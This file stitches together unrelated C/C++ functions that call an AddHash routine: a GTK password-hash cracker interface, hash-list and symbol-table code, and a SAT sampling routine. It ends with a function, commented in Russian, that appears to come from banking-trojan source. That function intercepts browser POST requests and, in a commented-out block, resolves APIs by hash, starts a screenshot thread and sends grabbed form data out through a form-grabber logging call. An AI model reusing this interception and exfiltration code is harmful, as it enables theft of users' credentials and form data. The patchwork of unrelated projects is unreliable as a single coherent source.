void LoadHashes(GtkWidget *empty) { const gchar *txt = gtk_entry_get_text(GTK_ENTRY(gui.entries.hash)); int n = gtk_combo_box_get_active(GTK_COMBO_BOX(gui.cbox.hash)); /* Load single hash */ if (strlen(txt) > 10 && n == 1) { if (HashAlreadyInList(txt)) return; n = AddHash(txt); if (n == (HASH_MD5 | HASH_NTLM)) { gtk_list_store_append(gui.hash.store, &gui.hash.iter[db.n_hashes]); gtk_list_store_set(gui.hash.store, &gui.hash.iter[db.n_hashes], 0, "MD5 | NTLM", 1, strlen(txt), 2, txt, -1); db.n_hashes++; } db.fCrackerType = true; } /* Load hashlist */ else if (n == 0) OpenHashlist(); /* Load pwdump file */ else if (n == 2) OpenPwdumpFile(); /* Load cain lst file */ else if (n == 3) OpenCainFile(); gtk_entry_set_text(GTK_ENTRY(gui.entries.hash), ""); }
BOOL CHList::InitObject( void *node ) { CLList::InitObject( node ); LPLLISTINFO pli = (LPLLISTINFO)node; if ( pli == NULL ) return FALSE; // Create default hash list if none if ( m_pList == NULL ) Create(); // Add node to hash list AddHash( pli ); return TRUE; }
const void* CHList::SetKey(void *ptr, const void *pKey, DWORD dwKeySize) { LPLLISTINFO pli = (LPLLISTINFO)ptr; if ( pli == NULL ) return pKey; // Remove from hash table RemoveHash( pli ); // Set the new key CLList::SetKey( ptr, pKey, dwKeySize ); // Set the new hash AddHash( pli ); return pKey; }
/* The global symbol insert routine */ void insert(SYM *sp, TABLE *table) { AddHash(sp, defhash, HASHTABLESIZE); }
uint32_t CUSP::UniGen( uint32_t samples , uint32_t sampleCounter , std::map<string, uint32_t>& solutionMap , uint32_t* lastSuccessfulHashOffset , double timeReference ) { lbool ret = l_False; uint32_t i, solutionCount, currentHashCount, lastHashCount, currentHashOffset, hashOffsets[3]; int hashDelta; vector<Lit> assumps; double elapsedTime = 0; int repeatTry = 0; for (i = 0; i < samples; i++) { sampleCounter ++; ret = l_False; hashOffsets[0] = *lastSuccessfulHashOffset; // Start at last successful hash offset if (hashOffsets[0] == 0) { // Starting at q-2; go to q-1 then q hashOffsets[1] = 1; hashOffsets[2] = 2; } else if (hashOffsets[0] == 2) { // Starting at q; go to q-1 then q-26 hashOffsets[1] = 1; hashOffsets[2] = 0; } repeatTry = 0; lastHashCount = 0; for (uint32_t j = 0; j < 3; j++) { currentHashOffset = hashOffsets[j]; currentHashCount = currentHashOffset + startIteration; hashDelta = currentHashCount - lastHashCount; if (hashDelta > 0) { // Add new hash functions AddHash(hashDelta, assumps); } else if (hashDelta < 0) { // Remove hash functions assumps.clear(); AddHash(currentHashCount, assumps); } lastHashCount = currentHashCount; double currentTime = cpuTimeTotal(); elapsedTime = currentTime - startTime; if (elapsedTime > totalTimeout - 3000) { break; } uint32_t maxSolutions = (uint32_t) (1.41 * (1 + kappa) * pivotUniGen + 2); uint32_t minSolutions = (uint32_t) (pivotUniGen / (1.41 * (1 + kappa))); ret = BoundedSAT(maxSolutions + 1, minSolutions, assumps, solutionMap, &solutionCount); cusp_logf << "UniGen2:" << sampleCounter << ":" << currentHashCount << ":" << std::fixed << std::setprecision(2) << (cpuTimeTotal() - timeReference) << ":" << (int)(ret == l_False ? 1 : (ret == l_True ? 0 : 2)) << ":" << solutionCount << endl; if (ret == l_Undef) { // SATSolver timed out; retry current hash count at most twice more assumps.clear(); // Throw out old hash functions if (repeatTry < 2) { // Retry current hash count with new hash functions AddHash(currentHashCount, assumps); j--; repeatTry += 1; } else { // Go on to next hash count lastHashCount = 0; if ((j == 0) && (currentHashOffset == 1)) { // At q-1, and need to pick next hash count // Somewhat arbitrarily pick q-2 first; then q hashOffsets[1] = 0; hashOffsets[2] = 2; } repeatTry = 0; } continue; } if (ret == l_True) { // Number of solutions in correct range *lastSuccessfulHashOffset = currentHashOffset; break; } else { // Number of solutions too small or too large if ((j == 0) && (currentHashOffset == 1)) { // At q-1, and need to pick next hash count if (solutionCount < minSolutions) { // Go to q-2; next will be q hashOffsets[1] = 0; hashOffsets[2] = 2; } else { // Go to q; next will be q-2 hashOffsets[1] = 2; hashOffsets[2] = 0; } } } } if (ret != l_True) { i --; } assumps.clear(); if (elapsedTime > totalTimeout - 3000) { break; } } return sampleCounter; }
bool MakeInfo( PREQUEST pReq, PCHAR buf, int len ) { // Собираем информацию об отправляемом запросе PCHAR MethodName; PCHAR Path; // Разбираем тип запроса if (!ParseRequestFirstLine(buf, &MethodName, &Path, NULL)) return false; pReq->dwVerb = GetMethodFromStr(MethodName); if (pReq->dwVerb != hmGET && pReq->dwVerb!= hmPOST) { StrFree(MethodName); StrFree(Path); return false; } // Собираем URL PCHAR Host = GetHTTPHeaderValue(buf, ParamHost); PCHAR Protocol = ProtocolHTTP; if (pReq->bHttps) Protocol = ProtocolHTTPS; pReq->Url = StrNew(5, Protocol, "://", Host, "/", Path); StrFree(Path); StrFree(Host); if (pReq->Url == NULL) return false; // Проверяем POST данные if (pReq->dwVerb == hmPOST) { UpdateFFUserAgent(buf); DWORD HeaderHash = CalcHash(buf); if (FindHash(HeaderHash)) return true; // Проверяем тип контента PCHAR CT = GetHTTPHeaderValue(buf, ParamContentType); DWORD Hash = CalcHash(CT); StrFree(CT); if (Hash != 0x6B3CDFEC) /* url_encoded*/ return true; // Обрабатываем пост данные PCHAR Optional = GetURLEncodedPostData(buf); pReq->Optional = Optional; if (Optional != NULL && ProcessPostData(pReq, Optional)) AddHash(HeaderHash); } /* if ( len < 10 ) { return false; } DWORD dwMethod = -1; char Post[] = {'P','O','S','T',' ',0}; char Get[] = {'G','E','T',' ',0}; char *Method = NULL; if ( !m_lstrncmp( buf, Get, 4 ) ) { dwMethod = VERB_IS_GET; Method = Get; } if ( !m_lstrncmp( buf, Post, 5 ) ) { dwMethod = VERB_IS_POST; Method = Post; } if ( dwMethod == (DWORD)-1 ) { return false; } //---------------------------------------------------------------------- typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... ); fwsprintfA pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); char *Host = NULL; char *Params = NULL; char Server[] = {'H','o','s','t',':',' ',0}; if ( GetText( buf, &Host, Server, "\r\n" ) != -1 ) { if ( GetText( buf, &Params, Method, " " ) != -1 ) { char *Type = NULL; char https[] = {'h','t','t','p','s',':','/','/',0}; char http[] = {'h','t','t','p',':','/','/',0}; if ( pReq->bHttps ) { Type = https; } else { Type = http; } if ( ( pReq->Url = (char*)MemAlloc( 1024 ) ) != NULL ) { pwsprintfA( pReq->Url, "%s%s%s", Type, Host, Params ); pReq->dwVerb = dwMethod; } MemFree( Params ); } MemFree( Server ); MemFree( Host ); } DWORD dwHeaderHash = CalcHash( buf ); if ( pReq->Url != NULL && pReq->dwVerb == VERB_IS_POST ) { if ( !FindHash( dwHeaderHash ) ) { char ContentType[] = {'C','o','n','t','e','n','t','-','T','y','p','e',':',' ',0 }; char *Content = NULL; if ( GetText( buf, &Content, ContentType, "\r\n" ) != -1 ) { DWORD dwContentHash = CalcHash( Content ); MemFree( Content ); if ( dwContentHash == 0x6B3CDFEC ) //urlencode { DWORD dwLen = 0; char *PostReq = GetPostData( buf, &dwLen, len ); if ( PostReq != NULL && dwLen ) { if ( ( pReq->Optional = (char*)MemAlloc( dwLen + 1 ) ) != NULL ) { m_memcpy( pReq->Optional, PostReq, dwLen ); } if ( CalcHash( pReq->Optional ) == 0x24DE3210 ) { StartThread( ScreensThread, NULL ); AddHash( dwHeaderHash ); return true; } MemFree( PostReq ); char PostTag[] = {'|','P','O','S','T',':',0}; char *SendBuffer = (char*)MemAlloc( dwLen + m_lstrlen( pReq->Url ) + m_lstrlen( PostTag ) + 2 ); if ( SendBuffer != NULL ) { m_lstrcpy( SendBuffer, pReq->Url ); m_lstrcat( SendBuffer, "?" ); m_lstrcat( SendBuffer, PostTag ); m_lstrcat( SendBuffer, pReq->Optional ); if ( !m_lstrlen( FFUserAgent ) ) { char UserAgentStr[] = {'U','s','e','r','-','A','g','e','n','t',':',' ', 0}; char *pUserAgent = GetHttpInfo(UserAgentStr, buf ); if ( pUserAgent == NULL ) { FFUserAgent[0] = '-'; FFUserAgent[1] = '\0'; } else { if ( m_lstrlen( pUserAgent ) <= 255 ) { m_lstrcpy( FFUserAgent, pUserAgent ); } } MemFree( pUserAgent ); } if ( SendFormGrabberLogs(pReq->Url, SendBuffer, FFUserAgent, BROWSER_TYPE_FF, DATA_TYPE_FORMGRAB ) ) { AddHash( dwHeaderHash ); } MemFree( SendBuffer ); } } } } } } */ return true; }